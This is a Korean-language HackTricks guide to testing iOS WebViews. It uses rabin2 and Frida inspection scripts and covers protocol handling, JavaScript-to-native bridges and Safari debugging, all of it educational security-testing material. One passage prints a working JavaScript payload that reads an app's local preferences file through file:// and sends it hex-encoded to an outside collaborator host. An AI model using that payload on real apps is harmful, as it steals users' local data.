18 KiB
iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
The code of this page was extracted from here. Check the page for further details.
WebViews types
WebViews는 애플리케이션 내에서 웹 콘텐츠를 대화형으로 표시하는 데 사용됩니다. 다양한 유형의 WebViews는 iOS 애플리케이션에 대해 서로 다른 기능과 보안 기능을 제공합니다. 간략한 개요는 다음과 같습니다:
-
UIWebView는 JavaScript 비활성화 지원 부족으로 인해 iOS 12 이후 더 이상 권장되지 않으며, 이는 스크립트 주입 및 Cross-Site Scripting (XSS) 공격에 취약합니다.
-
WKWebView는 앱에 웹 콘텐츠를 통합하는 데 선호되는 옵션으로, 콘텐츠 및 보안 기능에 대한 향상된 제어를 제공합니다. JavaScript는 기본적으로 활성화되어 있지만 필요에 따라 비활성화할 수 있습니다. 또한 JavaScript가 자동으로 창을 여는 것을 방지하는 기능을 지원하며, 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 추가로, WKWebView의 아키텍처는 메인 앱 프로세스에 영향을 미치는 메모리 손상 위험을 최소화합니다.
-
SFSafariViewController는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. WKWebView와 달리 SFSafariViewController에서는 JavaScript를 비활성화할 수 없으며, Safari와 쿠키 및 데이터를 공유하여 앱에서 사용자 프라이버시를 유지합니다. App Store 가이드라인에 따라 눈에 띄게 표시되어야 합니다.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews 구성 탐색 요약
정적 분석 개요
WebViews 구성을 조사하는 과정에서 두 가지 주요 유형에 초점을 맞춥니다: UIWebView와 WKWebView. 이 WebViews를 바이너리 내에서 식별하기 위해 특정 클래스 참조 및 초기화 메서드를 검색하는 명령이 사용됩니다.
- UIWebView 식별
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
이 명령은 이진 파일에서 관련 텍스트 문자열을 검색하여 UIWebView 인스턴스를 찾는 데 도움이 됩니다.
- WKWebView 식별
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
유사하게, WKWebView의 경우, 이 명령은 사용을 나타내는 텍스트 문자열을 이진 파일에서 검색합니다.
또한, WKWebView가 어떻게 초기화되는지 찾기 위해, 초기화와 관련된 메서드 시그니처를 대상으로 다음 명령이 실행됩니다:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript 구성 확인
WKWebView의 경우, 필요하지 않은 경우 JavaScript를 비활성화하는 것이 모범 사례로 강조됩니다. 컴파일된 바이너리를 검색하여 javaScriptEnabled
속성이 false
로 설정되어 있는지 확인하여 JavaScript가 비활성화되었는지 확인합니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
오직 안전한 콘텐츠 검증
WKWebView는 UIWebView와 대조적으로 혼합 콘텐츠 문제를 식별할 수 있는 기능을 제공합니다. 이는 모든 페이지 리소스가 안전한 연결을 통해 로드되도록 hasOnlySecureContent
속성을 사용하여 확인됩니다. 컴파일된 바이너리에서의 검색은 다음과 같이 수행됩니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
동적 분석 통찰력
동적 분석은 WebView 인스턴스와 그 속성을 검사하는 것을 포함합니다. 이를 위해 webviews_inspector.js
라는 스크립트가 사용되며, UIWebView
, WKWebView
, 및 SFSafariViewController
인스턴스를 대상으로 합니다. 이 스크립트는 발견된 인스턴스에 대한 정보, URL 및 JavaScript와 보안 콘텐츠와 관련된 설정을 기록합니다.
힙 검사는 ObjC.choose()
를 사용하여 WebView 인스턴스를 식별하고 javaScriptEnabled
및 hasonlysecurecontent
속성을 확인하는 방식으로 수행할 수 있습니다.
{% code title="webviews_inspector.js" %}
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
{% endcode %}
스크립트는 다음과 같이 실행됩니다:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
주요 결과:
- WebView 인스턴스가 성공적으로 위치 확인되고 검사됨.
- JavaScript 활성화 및 보안 콘텐츠 설정이 검증됨.
이 요약은 JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 중점을 두고 정적 및 동적 접근 방식을 통해 WebView 구성 분석에 관련된 중요한 단계와 명령을 요약합니다.
WebView 프로토콜 처리
WebView에서 콘텐츠를 처리하는 것은 중요한 측면으로, http(s)://
, file://
, tel://
와 같은 다양한 프로토콜을 다룰 때 특히 그렇습니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 해줍니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일의 이름이나 경로에 영향을 미치거나 콘텐츠 자체를 편집하지 못하도록 주의해야 한다는 점이 강조됩니다.
WebViews는 콘텐츠 로딩을 위한 다양한 방법을 제공합니다. 이제 더 이상 사용되지 않는 UIWebView의 경우, loadHTMLString:baseURL:
및 loadData:MIMEType:textEncodingName:baseURL:
와 같은 방법이 사용됩니다. 반면 WKWebView는 웹 콘텐츠를 위해 loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
, 및 loadRequest:
를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 pathForResource:ofType:
, URLForResource:withExtension:
, 및 init(contentsOf:encoding:)
와 같은 방법이 활용됩니다. loadFileURL:allowingReadAccessToURL:
메서드는 특정 URL 또는 디렉토리를 WebView에 로드할 수 있는 능력으로 특히 주목할 만하며, 디렉토리가 지정될 경우 민감한 데이터가 노출될 수 있습니다.
소스 코드나 컴파일된 바이너리에서 이러한 방법을 찾기 위해 다음과 같은 명령을 사용할 수 있습니다:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Regarding file access, UIWebView는 이를 보편적으로 허용하는 반면, WKWebView는 파일 URL에서의 접근을 관리하기 위해 allowFileAccessFromFileURLs
및 allowUniversalAccessFromFileURLs
설정을 도입하며, 두 설정 모두 기본값은 false입니다.
보안 설정을 검사하기 위한 WKWebView 구성의 Frida 스크립트 예제가 제공됩니다:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebViews와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 헥스 형식으로 인코딩한 후 서버로 전송하여 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
Native Methods Exposed Through WebViews
Understanding WebView Native Interfaces in iOS
iOS 7부터 Apple은 WebView의 JavaScript와 네이티브 Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:
- JSContext: Swift 또는 Objective-C 블록이
JSContext
내의 식별자에 연결될 때 JavaScript 함수가 자동으로 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합 및 통신이 가능합니다. - JSExport Protocol:
JSExport
프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출할 수 있습니다. 이는 JavaScript 환경에서 이루어진 모든 변경 사항이 네이티브 환경에 반영되고 그 반대도 마찬가지임을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 우발적으로 노출되지 않도록 하는 것이 중요합니다.
Accessing JSContext
in Objective-C
Objective-C에서 UIWebView
의 JSContext
는 다음 코드 한 줄로 검색할 수 있습니다:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Communication with WKWebView
WKWebView
의 경우, JSContext
에 직접 접근할 수 없습니다. 대신, JavaScript와 네이티브 간의 통신을 가능하게 하는 postMessage
함수를 통해 메시지 전달이 사용됩니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되어, JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있도록 합니다:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interaction and Testing
JavaScript는 스크립트 메시지 핸들러를 정의하여 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 것과 같은 작업이 가능합니다:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
네이티브 함수 호출의 결과를 캡처하고 조작하기 위해, HTML 내에서 콜백 함수를 오버라이드할 수 있다:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
네이티브 측은 JavaScriptBridgeMessageHandler
클래스에서 보여준 것처럼 JavaScript 호출을 처리하며, 숫자 곱셈과 같은 작업의 결과를 처리하고 이를 JavaScript로 다시 전송하여 표시하거나 추가 조작을 위해 사용합니다:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS WebViews 디버깅
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
iOS webviews 내의 웹 콘텐츠를 효과적으로 디버깅하려면 console.log()
에 전송된 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 포함한 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간단한 가이드입니다:
-
iOS 기기 준비: iOS 기기에서 Safari 웹 검사기를 활성화해야 합니다. 이는 설정 > Safari > 고급으로 이동하여 _웹 검사기_를 활성화함으로써 수행됩니다.
-
macOS 기기 준비: macOS 개발 머신에서 Safari 내의 개발자 도구를 활성화해야 합니다. Safari를 실행하고 Safari > 환경설정 > 고급에 접근하여 개발 메뉴 표시 옵션을 선택합니다.
-
연결 및 디버깅: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기에서 Safari를 사용하여 디버깅할 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고 iOS 기기 이름 위에 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사할 인스턴스를 선택합니다. 이 목적을 위해 새로운 Safari 웹 검사기 창이 열립니다.
그러나 제한 사항에 유의하십시오:
- 이 방법으로 디버깅하려면 macOS 기기가 필요합니다. 이는 Safari에 의존하기 때문입니다.
- Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store 또는 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.
참고 문헌
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 팔로우하세요 🐦 @hacktricks_live.
- HackTricks 및 HackTricks Cloud github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.